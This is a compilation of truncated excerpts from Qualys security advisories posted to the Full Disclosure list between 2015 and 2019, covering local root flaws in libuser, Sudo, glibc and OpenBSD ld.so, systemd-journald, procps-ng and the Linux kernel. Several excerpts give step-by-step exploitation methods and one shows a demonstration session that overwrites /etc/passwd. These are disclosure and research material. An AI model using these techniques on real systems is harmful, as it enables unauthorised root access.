[FD] Qualys Security Advisory - CVE-2015-3245 userhelper - CVE-2015-3246 libuser

2015-07-23 Thread Qualys Security Advisory

Hello, it is July 23, 2015, 17:00 UTC, the Coordinated Release Date for
CVE-2015-3245 and CVE-2015-3246.  Please find our advisory below, and
our exploit attached.


Qualys Security Advisory

CVE-2015-3245 userhelper chfn() newline filtering

CVE-2015-3246 libuser passwd file handling


--[ Summary ]-

The libuser library implements a standardized interface for manipulating
and administering user and group accounts, and is installed by default
on Linux distributions derived from Red Hat's codebase. During an
internal code audit at Qualys, we discovered multiple libuser-related
vulnerabilities that allow local users to perform denial-of-service and
privilege-escalation attacks. As a proof of concept, we developed an
unusual local root exploit against one of libuser's applications.


[ Vulnerability #1 (CVE-2015-3245 userhelper chfn() newline filtering)

We discovered a bug in userhelper, a setuid-root program from the
usermode package that provides a basic interface to change a user's
password, gecos information, and shell; its -f (Full Name), -o (Office),
-p (Office Phone) and -h (Home Phone) command-line options are
equivalent to those of the traditional chfn program.

userhelper's chfn() function verifies that the fields it was given on
the command-line are sane (i.e., contain no forbidden characters).
Unfortunately, these forbidden characters (:,=) do not include '\n'
and allow local attackers to inject newline characters into /etc/passwd
and alter this file in unexpected ways.

To the best of our knowledge, this bug is a local denial-of-service
only: we were not able to turn it into a local root exploit, but maybe
some creative minds will.

There is another, secondary aspect of this bug: userhelper depends on
libuser to modify /etc/passwd, and libuser's format_generic() and
generic_setpass() functions reject fields containing a ':' that would be
interpreted as a field separator. Vulnerability #1 could have been
prevented if libuser had also rejected '\n' characters.


[ Vulnerability #2 (CVE-2015-3246 libuser passwd file handling)

We discovered a bug in libuser itself: even though traditional programs
like passwd, chfn, and chsh work on a temporary copy of /etc/passwd and
eventually rename() it, libuser modifies /etc/passwd directly.
Unfortunately, if anything goes wrong during these modifications,
libuser may leave /etc/passwd in an inconsistent state.

This bug is not just another local denial-of-service: we were able to
turn it into a local root exploit against userhelper and chfn (if linked
with libuser).

There is also another, secondary aspect of this bug: glibc modules like
nss and nscd do not expect /etc/passwd to be directly modified while
they parse its contents, and programs from packages like shadow-utils
and util-linux use lckpwdf() locks that are incompatible with libuser's
fcntl() locks.


--[ Exploitation Overview ]---

In this section, we outline our userhelper exploit against libuser's
Vulnerability #2; later in this advisory, we explain how it can be
easily adapted to chfn (if linked with libuser).

Our ultimate goal is to inject an arbitrary line into /etc/passwd (for
example, the a-line \na::0:0::/:\n) but we first need to understand
how libuser's generic_mod() function modifies our own user's line in
/etc/passwd:

- open() /etc/passwd for reading and writing (O_RDWR, but not O_APPEND
  nor O_TRUNC);

- acquire the file's fcntl() write-lock (an exclusive, but advisory
  lock);

- read() the file's contents (into a g_malloc()ated buffer);

- lseek() the file to the beginning of our user's line (and skip the
  unmodified lines that precede);

- write() our user's new, modified line (and the rest of the unmodified
  lines that follow) to the file;

- ftruncate() the file (if our user's new, modified line is shorter than
  the old one);

- release the file's fcntl() write-lock;

- close() the file.

Surprisingly, we only need two things in our toolbox in order to exploit
this function and inject the a-line into /etc/passwd:

- a pencil and eraser that allows us to repeatedly write() and
  re-write() our own GECOS field (its length and last character in
  particular) in /etc/passwd: the userhelper program itself;

- a pair of scissors that allows us to interrupt write() with byte
  precision and avoid ftruncate(): the resource limit RLIMIT_FSIZE, The
  maximum size of files that the process may create. Attempts to extend
  a file beyond this limit result in delivery of a SIGXFSZ signal. By
  default, this signal terminates a process, but a process can catch
  this signal instead, in which case the relevant system call (e.g.,
  write(2), truncate(2)) fails with the error EFBIG.

For each character in the a-line (beginning with its last character and
ending with its first character), we fork() a new process and execve()
userhelper with:

- a GECOS field that allows us

[FD] Qualys Security Advisory - OpenSMTPD Audit Report

2015-10-05 Thread Qualys Security Advisory
(Sorry for the "CVE-2015-ABCD" place-holders in the report, but
OpenSMTPD's developers were ready with the patches before MITRE was
ready with the CVE-IDs.)


Qualys Security Advisory

OpenSMTPD Audit Report



Contents


Summary
Approach
Local Vulnerabilities
Remote Vulnerabilities
Inter-Process Vulnerabilities
Miscellaneous Bugs
Acknowledgments



Summary


For the past few months, one of our background projects has been to
audit OpenSMTPD, a free implementation of the server-side Simple Mail
Transfer Protocol (SMTP). OpenSMTPD replaces Sendmail as OpenBSD's
default Mail Transfer Agent (MTA) since OpenBSD 5.6, released on
November 1, 2014.

OpenSMTPD was designed to be secure, reliable, performant, and easy to
configure. Indeed, its codebase lives up to OpenBSD's reputation: it is
clean, modular, privilege-separated, and made our audit easy and really
enjoyable. However, the project is pretty much in its infancy (the first
stable version, 5.3, was released on March 17, 2013), which explains why
we discovered various vulnerabilities during our security assessment:

- an oversight in the portable version of fgetln() that allows attackers
  to read and write out-of-bounds memory;

- multiple denial-of-service vulnerabilities that allow local users to
  kill or hang OpenSMTPD;

- a stack-based buffer overflow that allows local users to crash
  OpenSMTPD, or execute arbitrary code as the non-chrooted _smtpd user;

- a hardlink attack (or race-conditioned symlink attack) that allows
  local users to unset the chflags() of arbitrary files;

- a hardlink attack that allows local users to read the first line of
  arbitrary files (for example, root's hash from /etc/master.passwd);

- a denial-of-service vulnerability that allows remote attackers to fill
  OpenSMTPD's queue or mailbox hard-disk partition;

- an out-of-bounds memory read that allows remote attackers to crash
  OpenSMTPD, or leak information and defeat the ASLR protection;

- a use-after-free vulnerability that allows remote attackers to crash
  OpenSMTPD, or execute arbitrary code as the non-chrooted _smtpd user;

- multiple inter-process vulnerabilities that allow attackers to
  escalate from one (already-compromised) OpenSMTPD process to another.



Approach


The OpenSMTPD version that we audited is available at:

https://www.opensmtpd.org/archives/opensmtpd-5.4.4p1.tar.gz

and is installed by default on OpenBSD's latest release (OpenBSD 5.7,
released on May 1, 2015). Unless otherwise noted, the vulnerabilities
that we discovered in OpenSMTPD 5.4.4p1 affect OpenSMTPD's latest
release as well (OpenSMTPD 5.7.1p1, released on June 30, 2015).

The "hybrid approach" that we adopted to review OpenSMTPD is described
in the bible of code auditing, "The Art of Software Security Assessment"
(by Mark Dowd, John McDonald, and Justin Schuh):

- We started with a "top-down approach" and reviewed the high-level
  information that we gathered on OpenSMTPD: READMEs, manual pages, web
  pages (https://www.opensmtpd.org/presentations/asiabsdcon2013-smtpd/
  and https://www.poolp.org/).

  This approach allowed us to quickly understand OpenSMTPD's design
  (seven privilege-separated, long-running, and event-driven processes
  that communicate through UNIX sockets and the imsg API) and identify
  its attack surface (local, remote, and inter-process entry points).

- We continued with a "bottom-up approach" and reviewed OpenSMTPD's
  implementation: the lowest-level code first (openbsd-compat/ and
  smtpd/mproc.c), followed by the higher-level code.

  This approach allowed us to quickly identify complex vulnerabilities:
  the remote out-of-bounds memory read and use-after-free are actually a
  combination of several low-level and high-level bugs.


Privilege Separation


--[ PROC_PARENT ]---

User: root

Chroot: no

Peers: PROC_CONTROL, PROC_LKA, PROC_QUEUE, PROC_CA, PROC_PONY

PROC_PARENT, the "[priv]" process, spawns the six other long-running
processes at startup (by calling fork_peers() from main()), and the
transient Mail Delivery Agent (MDA) processes on demand (by calling
forkmda() from parent_imsg()).

If any of its long-running children dies, PROC_PARENT calls
parent_shutdown(), kill()s its remaining children, and exit()s, but does
not restart automatically: if we try to exp

[FD] Qualys Security Advisory - CVE-2017-1000367 in Sudo's get_process_ttyname() for Linux

2017-06-02 Thread Qualys Security Advisory

Qualys Security Advisory

CVE-2017-1000367 in Sudo's get_process_ttyname() for Linux



Contents


Analysis
Exploitation
Example
Acknowledgments



Analysis


We discovered a vulnerability in Sudo's get_process_ttyname() for Linux:
this function opens "/proc/[pid]/stat" (man proc) and reads the device
number of the tty from field 7 (tty_nr). Unfortunately, these fields are
space-separated and field 2 (comm, the filename of the command) can
contain spaces (CVE-2017-1000367).

For example, if we execute Sudo through the symlink "./ 1 ",
get_process_ttyname() calls sudo_ttyname_dev() to search for the
non-existent tty device number "1" in the built-in search_devs[].

Next, sudo_ttyname_dev() calls the function sudo_ttyname_scan() to
search for this non-existent tty device number "1" in a breadth-first
traversal of "/dev".

Last, we exploit this function during its traversal of the
world-writable "/dev/shm": through this vulnerability, a local user can
pretend that his tty is any character device on the filesystem, and
after two race conditions, he can pretend that his tty is any file on
the filesystem.

On an SELinux-enabled system, if a user is Sudoer for a command that
does not grant him full root privileges, he can overwrite any file on
the filesystem (including root-owned files) with his command's output,
because relabel_tty() (in src/selinux.c) calls open(O_RDWR|O_NONBLOCK)
on his tty and dup2()s it to the command's stdin, stdout, and stderr.
This allows any Sudoer user to obtain full root privileges.



Exploitation


To exploit this vulnerability, we:

- create a directory "/dev/shm/_tmp" (to work around
  /proc/sys/fs/protected_symlinks), and a symlink "/dev/shm/_tmp/_tty"
  to a non-existent pty "/dev/pts/57", whose device number is 34873;

- run Sudo through a symlink "/dev/shm/_tmp/ 34873 " that spoofs the
  device number of this non-existent pty;

- set the flag CD_RBAC_ENABLED through the command-line option "-r role"
  (where "role" can be our current role, for example "unconfined_r");

- monitor our directory "/dev/shm/_tmp" (for an IN_OPEN inotify event)
  and wait until Sudo opendir()s it (because sudo_ttyname_dev() cannot
  find our non-existent pty in "/dev/pts/");

- SIGSTOP Sudo, call openpty() until it creates our non-existent pty,
  and SIGCONT Sudo;

- monitor our directory "/dev/shm/_tmp" (for an IN_CLOSE_NOWRITE inotify
  event) and wait until Sudo closedir()s it;

- SIGSTOP Sudo, replace the symlink "/dev/shm/_tmp/_tty" to our
  now-existent pty with a symlink to the file that we want to overwrite
  (for example "/etc/passwd"), and SIGCONT Sudo;

- control the output of the command executed by Sudo (the output that
  overwrites "/etc/passwd"):

  . either through a command-specific method;

  . or through a general method such as "--\nHELLO\nWORLD\n" (by
default, getopt() prints an error message to stderr if it does not
recognize an option character).

To reliably win the two SIGSTOP races, we preempt the Sudo process: we
setpriority() it to the lowest priority, sched_setscheduler() it to
SCHED_IDLE, and sched_setaffinity() it to the same CPU as our exploit.



Example


We will publish our Sudoer-to-root exploit
(Linux_sudo_CVE-2017-1000367.c) in the near future:

[john@localhost ~]$ head -n 8 /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt

[john@localhost ~]$ sudo -l
[sudo] password for john:
...
User john may run the following commands on localhost:
(ALL) /usr/bin/sum

[john@localhost ~]$ ./Linux_sudo_CVE-2017-1000367 /usr/bin/sum 
$'--\nHELLO\nWORLD\n'
[sudo] password for john:

[john@localhost ~]$ head -n 8 /etc/passwd
/usr/bin/sum: unrecognized option '--
HELLO
WORLD
'
Try '/usr/bin/sum --help' for more information.
ogin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin



Acknowledgments
=

[FD] Qualys Security Advisory - Buffer overflow in glibc's ld.so

2017-12-12 Thread Qualys Security Advisory

Qualys Security Advisory

Buffer overflow in glibc's ld.so



Contents


Summary
Memory Leak
Buffer Overflow
Exploitation
Acknowledgments



Summary


We have discovered a memory leak and a buffer overflow in the dynamic
loader (ld.so) of the GNU C Library (glibc):

- the memory leak (CVE-2017-1000408) first appeared in glibc 2.1.1
  (released on May 24, 1999) and can be reached and amplified through
  the LD_HWCAP_MASK environment variable;

- the buffer overflow (CVE-2017-1000409) first appeared in glibc 2.5
  (released on September 29, 2006) and can be triggered through the
  LD_LIBRARY_PATH environment variable.

Further investigation showed that:

- the buffer overflow is not exploitable if
  /proc/sys/fs/protected_hardlinks is enabled (it is not enabled by
  default on vanilla Linux kernels, but most Linux distributions turn it
  on by default);

- the memory leak and the buffer overflow are not exploitable if the
  glibc is patched against CVE-2017-1000366, because this patch ignores
  the LD_HWCAP_MASK and LD_LIBRARY_PATH environment variables when SUID
  binaries are executed (CVE-2017-1000366 was first patched in glibc
  2.26, released on August 2, 2017, but most Linux distributions had
  already backported this patch on June 19, 2017).

We have therefore rated the impact of these vulnerabilities as Low.
Nevertheless, we give a brief analysis of the vulnerable function, and
present a simple method for exploiting a SUID binary on the command line
and obtaining full root privileges (if /proc/sys/fs/protected_hardlinks
is not enabled, and CVE-2017-1000366 is not patched).



Memory Leak (CVE-2017-1000408)



Analysis


In _dl_init_paths(), ld.so malloc()ates "rtld_search_dirs.dirs[0]", a
cache of information about the system's trusted directories (typically
"/lib" and "/usr/lib" on 32-bit or "/lib64" and "/usr/lib64" on 64-bit).
To compute the number of system directories, ld.so uses the classic C
idiom "sizeof (system_dirs) / sizeof (system_dirs[0])":

 691   rtld_search_dirs.dirs[0] = (struct r_search_path_elem *)
 692 malloc ((sizeof (system_dirs) / sizeof (system_dirs[0]))
 693 * round_size * sizeof (struct r_search_path_elem));

Unfortunately, "system_dirs" is not a classic array: it is not an array
of strings (pointers to characters), but rather an array of characters,
the concatenation of all system directories, separated by null bytes:

 109 static const char system_dirs[] = SYSTEM_DIRS;

where "SYSTEM_DIRS" is generated by "gen-trusted-dirs.awk" (typically
"/lib/\0/usr/lib/" on 32-bit or "/lib64/\0/usr/lib64/" on 64-bit). As a
result, the number of system directories is overestimated, and too much
memory is allocated for "rtld_search_dirs.dirs[0]": if "system_dirs" is
"/lib/\0/usr/lib/" for example, the number of system directories is 2,
but 16 is used instead (the number of characters in "system_dirs") to
compute the size of "rtld_search_dirs.dirs[0]".

This extra memory is never accessed, never freed, and mostly filled with
null bytes, because only the information about "nsystem_dirs_len" system
directories (the correct number of system directories) is written to
"rtld_search_dirs.dirs[0]", and because the minimal malloc()
implementation in ld.so calls mmap(), but never munmap().

Moreover, this memory leak can be amplified through the LD_HWCAP_MASK
environment variable, because ld.so uses "ncapstr" (the total number of
hardware-capability combinations) to compute the size of
"rtld_search_dirs.dirs[0]":

 687   round_size = ((2 * sizeof (struct r_search_path_elem) - 1
 688  + ncapstr * sizeof (enum r_dir_status))
 689 / sizeof (struct r_search_path_elem));


History


We tracked down this vulnerability to:

commit ab7eb292307152e706948a7b19164ff5e6d593d4
Date:   Mon May 3 21:59:35 1999 +

Update.

* elf/Makefile (trusted-dirs.st): Use gen-trusted-dirs.awk.
* elf/gen-trusted-dirs.awk: New file.
* elf/dl-load.c (systems_dirs): Moved into file scope.  Initialize
from SYSTEM_DIRS macro.
  

[FD] Qualys Security Advisory - Procps-ng Audit Report

2018-05-28 Thread Qualys Security Advisory


Qualys Security Advisory

Procps-ng Audit Report



Contents


Summary
1. FUSE-backed /proc/PID/cmdline
2. Unprivileged process hiding
3. Local Privilege Escalation in top (Low Impact)
4. Denial of Service in ps
5. Local Privilege Escalation in libprocps (High Impact)
   5.1. Vulnerability
   5.2. Exploitation
   5.3. Exploitation details
   5.4. Non-PIE exploitation
   5.5. PIE exploitation
Acknowledgments
Patches.tar.gz.b64



Summary


We performed a complete audit of procps-ng, the "command line and full
screen utilities for browsing procfs, a 'pseudo' file system dynamically
generated by the [Linux] kernel to provide information about the status
of entries in its process table" (https://gitlab.com/procps-ng/procps).
procps-ng contains the utilities free, kill, pgrep, pidof, pkill, pmap,
ps, pwdx, skill, slabtop, snice, sysctl, tload, top, uptime, vmstat, w,
watch, and the necessary libprocps library.

We discovered and submitted patches for more than a hundred bugs and
vulnerabilities in procps-ng; for reference, our patches are available
at:

https://www.qualys.com/2018/05/17/procps-ng-audit-report-patches.tar.gz

and base64-encoded at the end of this advisory. In the remainder of this
advisory, we present our most interesting findings:

1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120)

  An attacker can block any read() access to /proc/PID/cmdline by
  mmap()ing a FUSE file (Filesystem in Userspace) onto this process's
  command-line arguments. The attacker can therefore block pgrep, pidof,
  pkill, ps, and w, either forever (a denial of service), or for some
  controlled time (a synchronization tool for exploiting other
  vulnerabilities).

2. Unprivileged process hiding (CVE-2018-1121)

  An unprivileged attacker can hide a process from procps-ng's
  utilities, by exploiting either a denial of service (a rather noisy
  method) or a race condition inherent in reading /proc/PID entries (a
  stealthier method).

3. Local Privilege Escalation in top (CVE-2018-1122)

  top reads its configuration file from the current working directory,
  without any security check, if the HOME environment variable is unset
  or empty. In this very unlikely scenario, an attacker can carry out an
  LPE (Local Privilege Escalation) if an administrator executes top in
  /tmp (for example), by exploiting one of several vulnerabilities in
  top's config_file() function.

4. Denial of Service in ps (CVE-2018-1123)

  An attacker can overflow the output buffer of ps, when executed by
  another user, administrator, or script: a denial of service only (not
  an LPE), because ps mmap()s its output buffer and mprotect()s its last
  page with PROT_NONE (an effective guard page).

5. Local Privilege Escalation in libprocps (CVE-2018-1124)

  An attacker can exploit an integer overflow in libprocps's
  file2strvec() function and carry out an LPE when another user,
  administrator, or script executes a vulnerable utility (pgrep, pidof,
  pkill, and w are vulnerable by default; other utilities are vulnerable
  if executed with non-default options). Moreover, an attacker's process
  running inside a container can trigger this vulnerability in a utility
  running outside the container: the attacker can exploit this userland
  vulnerability and break out of the container or chroot. We will
  publish our proof-of-concept exploits in the near future.

Additionally, CVE-2018-1125 has been assigned to
0008-pgrep-Prevent-a-potential-stack-based-buffer-overflo.patch, and
CVE-2018-1126 to 0035-proc-alloc.-Use-size_t-not-unsigned-int.patch.



1. FUSE-backed /proc/PID/cmdline (CVE-2018-1120)


In this experiment, we add a sleep(60) to hello_read() in
https://github.com/libfuse/libfuse/blob/master/example/hello.c and
compile it, mount it on /tmp/fuse, and mmap() /tmp/fuse/hello onto the
command-line arguments of a simple proof-of-concept:

$ gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
$ mkdir /tmp/fuse
$ ./hello /tmp/fuse

$ cat > fuse-backed-cmdline.c << "EOF"
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

#define PAGESZ ((size_t)4096)

int
main(const int argc, const char * const argv[])
{
if (argc <= 0) die();
const char * const arg_start = argv[0];
const char * const last_arg = argv[argc-1];
const char * const arg_end = last_arg + strlen(last_arg) + 1;

if (arg_end <= arg

[FD] Integer overflow in Linux's create_elf_tables() (CVE-2018-14634)

2018-09-28 Thread Qualys Security Advisory

Qualys Security Advisory

Mutagen Astronomy: Integer overflow in Linux's create_elf_tables()
(CVE-2018-14634)



Contents


Summary
Analysis
Exploitation
Acknowledgments
Timeline



Summary


We discovered an integer overflow in the Linux kernel's
create_elf_tables() function: on a 64-bit system, a local attacker can
exploit this vulnerability via a SUID-root binary and obtain full root
privileges.

Only kernels with commit b6a2fea39318 ("mm: variable length argument
support", from July 19, 2007) but without commit da029c11e6b1 ("exec:
Limit arg stack to at most 75% of _STK_LIM", from July 7, 2017) are
exploitable.

Most Linux distributions backported commit da029c11e6b1 to their
long-term-supported kernels, but Red Hat Enterprise Linux and CentOS
(and Debian 8, the current "oldstable" version) have not, and are
therefore vulnerable and exploitable.



Analysis


 150 #define STACK_ROUND(sp, items) \
 151 (((unsigned long) (sp - items)) &~ 15UL)
 ...
 165 create_elf_tables(struct linux_binprm *bprm, struct elfhdr *exec,
 ...
 169 int argc = bprm->argc;
 170 int envc = bprm->envc;
 171 elf_addr_t __user *sp;
 ...
 178 int items;
 ...
 190 p = arch_align_stack(p);
 ...
 287 items = (argc + 1) + (envc + 1) + 1;
 288 bprm->p = STACK_ROUND(sp, items);
 ...
 295 sp = (elf_addr_t __user *)bprm->p;

"argc", the number of command-line arguments passed to the execve()
system call, is limited to MAX_ARG_STRINGS (in fs/exec.c); "envc", the
number of environment variables passed to execve(), is also limited to
MAX_ARG_STRINGS; but because MAX_ARG_STRINGS is 0x7FFF, we can
overflow the integer "items" (at line 287) and make it negative.

As a result, we can increase the userland stack pointer instead of
decreasing it (at lines 288 and 295 -- the stack normally grows down on
x86_64), redirect the userland stack to the middle of our argument and
environment strings (which were copied to the top of the stack in
fs/exec.c), and hence overwrite these strings during the userland
execution of a SUID-root binary.



Exploitation


We execve() a SUID-root binary with exactly 0x8000 "items" (i.e.,
INT_MIN "items"): roughly 0x8000 * sizeof(char *) = 16GB of argument
pointers, 16GB of argument strings, and 16GB of environment strings. Our
exploit requires "only" 2 * 16GB = 32GB of memory, instead of 3 * 16GB =
48GB or more, because we use a few tricks to reduce its memory footprint
(for example, we replace the nearly 16GB of equal argument pointers with
equivalent file-backed mappings that consume practically no memory).

The following diagram represents the layout of our userland stack when
the execution of the SUID-root binary starts, in ld.so:

   | argument strings  |  environment strings  |
--|---||-+-|-+-+-+-|--
  | A | sprand | protect | padding | protect | scratch | onebyte | padding |
--|---||-+-|-+-+--^--+-|--
  | 0-8192  ~16GB1MB rsp~16GB
  v   <---+---|--|
  | stack | B | pointers |
  \-->-->-->--/   16GB
 0x8000 * sizeof(elf_addr_t) = 16GB

- "A" ("alpha") is the amount of stack space allocated by
  create_elf_tables() between lines 190 and 287 exclusive (for example,
  the platform and base-platform capability strings): it is
  approximately 512 bytes.

- "sprand" is a random amount of stack space allocated by
  create_elf_tables() at line 190: it varies from 0 to 8192 bytes.

- The "protect" argument strings are vital command-line arguments and
  options that must be safe from memory corruption (for example,
  argv[0], the filename of the SUID-root binary).

- The "padding" argument strings occupy roughly 16GB of stack space.

- The "protect" environment strings are vital environment variables that
  must be safe from memory corruption (for example, our LD_PRELOAD
  environment variable, which will be processed by ld.so's
  handle_ld_preload() function

[FD] System Down: A systemd-journald exploit

2019-01-11 Thread Qualys Security Advisory


Qualys Security Advisory

System Down: A systemd-journald exploit



Contents


Summary
CVE-2018-16864
- Analysis
- Exploitation
CVE-2018-16865
- Analysis
- Exploitation
CVE-2018-16866
- Analysis
- Exploitation
Combined Exploitation of CVE-2018-16865 and CVE-2018-16866
- amd64 Exploitation
- i386 Exploitation
Acknowledgments
Timeline

Conversion, software version 7.0
-- System of a Down, "Toxicity"



Summary


We discovered three vulnerabilities in systemd-journald
(https://en.wikipedia.org/wiki/Systemd):

- CVE-2018-16864 and CVE-2018-16865, two memory corruptions
  (attacker-controlled alloca()s);

- CVE-2018-16866, an information leak (an out-of-bounds read).

CVE-2018-16864 was introduced in April 2013 (systemd v203) and became
exploitable in February 2016 (systemd v230). We developed a proof of
concept for CVE-2018-16864 that gains eip control on i386.

CVE-2018-16865 was introduced in December 2011 (systemd v38) and became
exploitable in April 2013 (systemd v201). CVE-2018-16866 was introduced
in June 2015 (systemd v221) and was inadvertently fixed in August 2018.

We developed an exploit for CVE-2018-16865 and CVE-2018-16866 that
obtains a local root shell in 10 minutes on i386 and 70 minutes on
amd64, on average. We will publish our exploit in the near future.

To the best of our knowledge, all systemd-based Linux distributions are
vulnerable, but SUSE Linux Enterprise 15, openSUSE Leap 15.0, and Fedora
28 and 29 are not exploitable because their user space is compiled with
GCC's -fstack-clash-protection.

This confirms https://grsecurity.net/an_ancient_kernel_hole_is_not_closed.php:
"It should be clear that kernel-only attempts to solve [the Stack Clash]
will necessarily always be incomplete, as the real issue lies in the
lack of stack probing."



CVE-2018-16864



Analysis


The waves all keep on crashing by
-- System of a Down, "Suggestions"

We accidentally discovered CVE-2018-16864 while working on the exploit
for Mutagen Astronomy (CVE-2018-14634); if we pass several megabytes of
command-line arguments to a program that calls syslog(), then journald
crashes:

systemd-journal[472]: segfault at 7ffe9a077420 ip 7f45f6174877 sp 
7ffe9a0773f0 error 6 in systemd-journald[7f45f6169000+3f000]

(gdb) disassemble 0x7f45f6174877 - 0x7f45f6169000
Dump of assembler code for function dispatch_message_real.4064:
   ...
   0xb82c <+988>:   callq  0x2bd10 

   0xb831 <+993>:   test   %eax,%eax
   0xb833 <+995>:   js 0xb8ea 
   0xb839 <+1001>:  mov-0x218(%rbp),%rbx
   0xb840 <+1008>:  test   %rbx,%rbx
   0xb843 <+1011>:  je 0xd31b 
   0xb849 <+1017>:  mov%rbx,%rdi
   0xb84c <+1020>:  callq  0x5360 
   0xb851 <+1025>:  add$0xa,%eax
   0xb854 <+1028>:  cltq
   0xb856 <+1030>:  add$0x1e,%rax
   0xb85a <+1034>:  and$0xfff0,%rax
   0xb85e <+1038>:  sub%rax,%rsp
   0xb861 <+1041>:  movabs $0x454e494c444d435f,%rax
   0xb86b <+1051>:  lea0x37(%rsp),%r15
   0xb870 <+1056>:  and$0xfff0,%r15
   0xb874 <+1060>:  test   %rbx,%rbx
   0xb877 <+1063>:  mov%rax,(%r15)
   0xb87a <+1066>:  mov$0x3d,%eax
   0xb87f <+1071>:  mov%ax,0x8(%r15)
   0xb884 <+1076>:  lea0x9(%r15),%rax
   0xb888 <+1080>:  je 0xb895 
   0xb88a <+1082>:  mov%rbx,%rsi
   0xb88d <+1085>:  mov%rax,%rdi
   0xb890 <+1088>:  callq  0x5370 

538 static void dispatch_message_real(
...
604 r = get_process_cmdline(ucred->pid, 0, false, );
605 if (r >= 0) {
606 x = strjoina("_CMDLINE=", t);

919 #define strjoina(a, ...)\
920 ({  \
921 const char *_appendees_[] = { a, __VA_ARGS__ }; \
922 char *_d_, *_p_;\
923 in

Re: [FD] System Down: A systemd-journald exploit

2019-05-13 Thread Qualys Security Advisory
Hi all,

Our systemd-journald exploit for CVE-2018-16865 and CVE-2018-16866 is
now available at:

https://www.qualys.com/2019/05/09/system-down/system-down.tar.gz

It is also attached to this email. A few notes about this exploit:

- It supports several targets by default (vulnerable versions of Debian,
  Ubuntu, Fedora, CentOS), and it should be relatively easy to add more
  targets.

- When adding a new amd64 target, use the "free_hook" method if possible
  (if located at a multiple of 16 plus 8, as explained in our advisory);
  for various reasons, the alternative "stderr_chain" method is not as
  reliable as "free_hook" and may therefore take longer to succeed.

- When adding and testing a new target, you may want to set
  "StartLimitInterval=1s" and "StartLimitBurst=10" (for example) in
  "systemd-journald.service": the exploit will detect this and
  brute-force faster.

- If the exploit dies because "No journal files were opened due to
  insufficient permissions", the "wall" method can be used instead (via
  the "-w" switch). Our exploit currently implements the wall method
  "ssh 127.0.0.1", but alternative methods can be implemented
  ("utempter" and "gnome-pty-helper", for example).

- To test the default information-leak method even if "No journal files
  were opened due to insufficient permissions", it is enough to create
  /var/log/journal/ (as explained in "man systemd-journald").

Thank you very much! With best regards,

-- 
the Qualys Security Advisory team


system-down.tar.gz
Description: application/gzip

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)

2019-12-13 Thread Qualys Security Advisory

Qualys Security Advisory

Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)


==
Contents
==

Summary
Analysis
Demonstration
Acknowledgments


==
Summary
==

We discovered a Local Privilege Escalation in OpenBSD's dynamic loader
(ld.so): this vulnerability is exploitable in the default installation
(via the set-user-ID executable chpass or passwd) and yields full root
privileges.

We developed a simple proof of concept and successfully tested it
against OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both
amd64 and i386; other releases and architectures are probably also
exploitable.


==
Analysis
==

In this section, we analyze a step-by-step execution of our proof of
concept:

--

1/ We execve() the set-user-ID /usr/bin/chpass, but first:

   1a/ we set the LD_LIBRARY_PATH environment variable to one single dot
   (the current working directory) and approximately ARG_MAX colons (the
   maximum number of bytes for the argument and environment list); as
   described in man ld.so:

 LD_LIBRARY_PATH
 A colon separated list of directories, prepending the default
 search path for shared libraries.  This variable is ignored for
 set-user-ID and set-group-ID executables.

   1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *)
   (2MB on amd64, 1MB on i386); as described in man setrlimit:

 RLIMIT_DATA The maximum size (in bytes) of the data segment for a
 process; this includes memory allocated via malloc(3) and
 all other anonymous memory mapped via mmap(2).

--

2/ Before the main() function of chpass is executed, the _dl_boot()
function of ld.so is executed and calls _dl_setup_env():

262 void
263 _dl_setup_env(const char *argv0, char **envp)
264 {
...
271 _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp));
...
283 _dl_trust = !_dl_issetugid();
284 if (!_dl_trust) {   /* Zap paths if s[ug]id... */
285 if (_dl_libpath) {
286 _dl_free_path(_dl_libpath);
287 _dl_libpath = NULL;
288 _dl_unsetenv("LD_LIBRARY_PATH", envp);
289 }

--

3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH
environment variable and passes it to _dl_split_path():

 23 char **
 24 _dl_split_path(const char *searchpath)
 25 {
 ..
 35 pp = searchpath;
 36 while (*pp) {
 37 if (*pp == ':' || *pp == ';')
 38 count++;
 39 pp++;
 40 }
 ..
 45 retval = _dl_reallocarray(NULL, count, sizeof(*retval));
 46 if (retval == NULL)
 47 return (NULL);

--

4/ At line 45, count is approximately ARG_MAX (the number of colons in
our LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our
low RLIMIT_DATA); at line 47, _dl_split_path() returns NULL.

--

5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH
is ignored, but it is not deleted from the environment (CVE-2019-19726):
although _dl_trust is false (_dl_issetugid() returns true because chpass
is set-user-ID), _dl_unsetenv() is not called (line 288) because
_dl_libpath is NULL (line 285).

--

6/ Next, the main() function of chpass is executed, and it:

   6a/ calls setuid(0), which sets the real and effective user IDs to 0;

   6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY;

   6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb
   (unlike execve(), execv() does not reset the environment).

--

7/ Before the main() function of pwd_mkdb is executed, the _dl_boot()
function of ld.so is executed and calls _dl_setup_env():

   7a/ at line 271, _dl_getenv() returns a pointer to our
   LD_LIBRARY_PATH environment variable (because it was not deleted from
   the environment in step 5, and because execv() did not reset the
   environment in step 6c)

[FD] Authentication vulnerabilities in OpenBSD

